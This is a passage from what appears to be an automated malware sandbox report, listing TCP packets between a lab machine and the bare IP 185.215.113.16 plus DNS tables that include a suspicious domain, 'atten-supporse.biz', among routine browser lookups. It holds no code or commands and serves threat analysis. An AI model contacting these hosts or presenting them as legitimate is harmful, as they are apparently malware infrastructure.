Dec 10, 2024 05:10:57.729024887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.729065895 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.729999065 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.730216026 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.730257034 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.731070042 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.731165886 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.731318951 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.732115984 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.732255936 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.732290983 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.733165979 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.733315945 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.733366966 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.734250069 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.734316111 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.734349966 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.735265970 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.735393047 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.735572100 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.736337900 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.736435890 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.737389088 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.737484932 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.738497019 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.738571882 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.738817930 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.738879919 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.739521980 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.739633083 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.739674091 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.740581989 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.740686893 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.740721941 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.741621971 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.741734028 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.741820097 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.742697954 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.742774010 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.742809057 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.743747950 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.743841887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.743884087 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.744816065 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.744947910 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.744982004 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.745851040 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.745975018 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.746429920 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.746921062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.747035027 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.747613907 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.748012066 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.748087883 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.748117924 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.749039888 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.749138117 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.749172926 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.750083923 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.750191927 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.750225067 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.751169920 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.751286030 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.751808882 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.751837015 CET	80	49985	34.107.221.82	192.168.2.5
Dec 10, 2024 05:10:57.752203941 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.752316952 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.753314018 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.753410101 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.754050970 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.754340887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.754451036 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.754482985 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.755397081 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.755525112 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.755559921 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.756457090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.756544113 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.756584883 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.757560968 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.757721901 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.757761955 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.758588076 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.758703947 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.758764982 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.759624958 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.759771109 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.759805918 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.760677099 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.760782003 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.760817051 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.761734009 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.761845112 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.761879921 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.762790918 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.762917995 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.762957096 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.763843060 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.763953924 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.763988018 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.764902115 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.765033007 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.765070915 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.765965939 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.766077995 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.766117096 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.767019033 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.767131090 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.767194986 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.768079042 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.768229961 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.768266916 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.769155025 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.769567013 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.769607067 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.770262003 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.770416021 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.770453930 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.771267891 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.771404982 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.772315025 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.772432089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.773139954 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.773375034 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.773495913 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.773530960 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.774449110 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.774590015 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.774626017 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.775521040 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.775692940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.775737047 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.776540041 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.776653051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.776689053 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.777581930 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.777719021 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.777777910 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.778659105 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.778774977 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.778814077 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.779709101 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.779845953 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.779897928 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.780780077 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.780904055 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.780942917 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.781886101 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.781971931 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.782010078 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.782891035 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.783027887 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.783066034 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.783946037 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.784063101 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.784246922 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.785033941 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.785150051 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.785191059 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.786092997 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.786202908 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.786238909 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.787122011 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.787225962 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.787282944 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.788196087 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.788327932 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.788383007 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.789251089 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.789351940 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.789386034 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.790304899 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.790416956 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.790453911 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.791347980 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.791457891 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.791681051 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.792409897 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.792524099 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.793469906 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.793581009 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.793828011 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.794526100 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.794661999 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.794704914 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.795602083 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.795706987 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.795744896 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.796653032 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.796766996 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.796813011 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.797702074 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.797811985 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.797848940 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.798783064 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.798901081 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.798933983 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.799843073 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.799937963 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.799974918 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.800889015 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.800982952 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.801023006 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.801945925 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.802041054 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.803070068 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.803177118 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.804090023 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.804174900 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.805124998 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.805346966 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.806238890 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.806324959 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.806663990 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.806721926 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.807244062 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.807363033 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.807420969 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.808291912 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.808401108 CET	80	49984	185.215.113.16	192.168.2.5
Dec 10, 2024 05:10:57.808438063 CET	49984	80	192.168.2.5	185.215.113.16
Dec 10, 2024 05:10:57.809396029 CET	80	49984	185.215.113.16	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 05:10:25.379607916 CET	192.168.2.5	1.1.1.1	0xd63c	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:43.668643951 CET	192.168.2.5	1.1.1.1	0x83a5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:43.668786049 CET	192.168.2.5	1.1.1.1	0xe9a2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 10, 2024 05:10:49.298361063 CET	192.168.2.5	1.1.1.1	0xc744	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:49.661246061 CET	192.168.2.5	1.1.1.1	0x65a	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 05:10:50.063090086 CET	192.168.2.5	1.1.1.1	0x66cb	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.212188959 CET	192.168.2.5	1.1.1.1	0x4485	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.528536081 CET	192.168.2.5	1.1.1.1	0x2a26	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.555749893 CET	192.168.2.5	1.1.1.1	0x486a	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.677422047 CET	192.168.2.5	1.1.1.1	0xef0	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 10, 2024 05:10:50.706909895 CET	192.168.2.5	1.1.1.1	0xb2ca	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 05:10:50.903978109 CET	192.168.2.5	1.1.1.1	0xef5a	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.903978109 CET	192.168.2.5	1.1.1.1	0x50f	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.909626007 CET	192.168.2.5	1.1.1.1	0x4689	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.007611036 CET	192.168.2.5	1.1.1.1	0xaa55	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.042654037 CET	192.168.2.5	1.1.1.1	0x43bd	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.050085068 CET	192.168.2.5	1.1.1.1	0x5976	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.185731888 CET	192.168.2.5	1.1.1.1	0x29f1	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 10, 2024 05:10:51.277003050 CET	192.168.2.5	1.1.1.1	0xf8b9	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 05:10:52.207237005 CET	192.168.2.5	1.1.1.1	0x104d	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.210767984 CET	192.168.2.5	1.1.1.1	0xb505	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.256081104 CET	192.168.2.5	1.1.1.1	0x1b20	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.344676018 CET	192.168.2.5	1.1.1.1	0xb84a	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 05:10:52.349998951 CET	192.168.2.5	1.1.1.1	0x2ea2	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 10, 2024 05:10:52.362947941 CET	192.168.2.5	1.1.1.1	0xd2f4	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:52.367511034 CET	192.168.2.5	1.1.1.1	0x2be1	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:53.719830990 CET	192.168.2.5	1.1.1.1	0xcddb	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:53.859029055 CET	192.168.2.5	1.1.1.1	0x4966	Standard query (0)	push.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:54.010840893 CET	192.168.2.5	1.1.1.1	0x7ae3	Standard query (0)	push.services.mozilla.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:25.597486973 CET	1.1.1.1	192.168.2.5	0xd63c	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:43.805114031 CET	1.1.1.1	192.168.2.5	0xe9a2	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 10, 2024 05:10:43.805646896 CET	1.1.1.1	192.168.2.5	0x83a5	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:49.285507917 CET	1.1.1.1	192.168.2.5	0xc8e7	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:49.642266989 CET	1.1.1.1	192.168.2.5	0xc744	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.199768066 CET	1.1.1.1	192.168.2.5	0x66cb	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.350701094 CET	1.1.1.1	192.168.2.5	0x4485	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:50.350701094 CET	1.1.1.1	192.168.2.5	0x4485	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.665766954 CET	1.1.1.1	192.168.2.5	0x2a26	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.693090916 CET	1.1.1.1	192.168.2.5	0x486a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:50.814353943 CET	1.1.1.1	192.168.2.5	0xef0	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 10, 2024 05:10:50.848190069 CET	1.1.1.1	192.168.2.5	0xb2ca	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 10, 2024 05:10:51.040749073 CET	1.1.1.1	192.168.2.5	0x50f	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.046457052 CET	1.1.1.1	192.168.2.5	0x4689	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:51.046457052 CET	1.1.1.1	192.168.2.5	0x4689	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.126806021 CET	1.1.1.1	192.168.2.5	0x7b3b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:51.126806021 CET	1.1.1.1	192.168.2.5	0x7b3b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.145173073 CET	1.1.1.1	192.168.2.5	0xaa55	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:51.145173073 CET	1.1.1.1	192.168.2.5	0xaa55	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 10, 2024 05:10:51.145173073 CET	1.1.1.1	192.168.2.5	0xaa55	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.179187059 CET	1.1.1.1	192.168.2.5	0x43bd	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 10, 2024 05:10:51.275176048 CET	1.1.1.1	192.168.2.5	0x5976	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
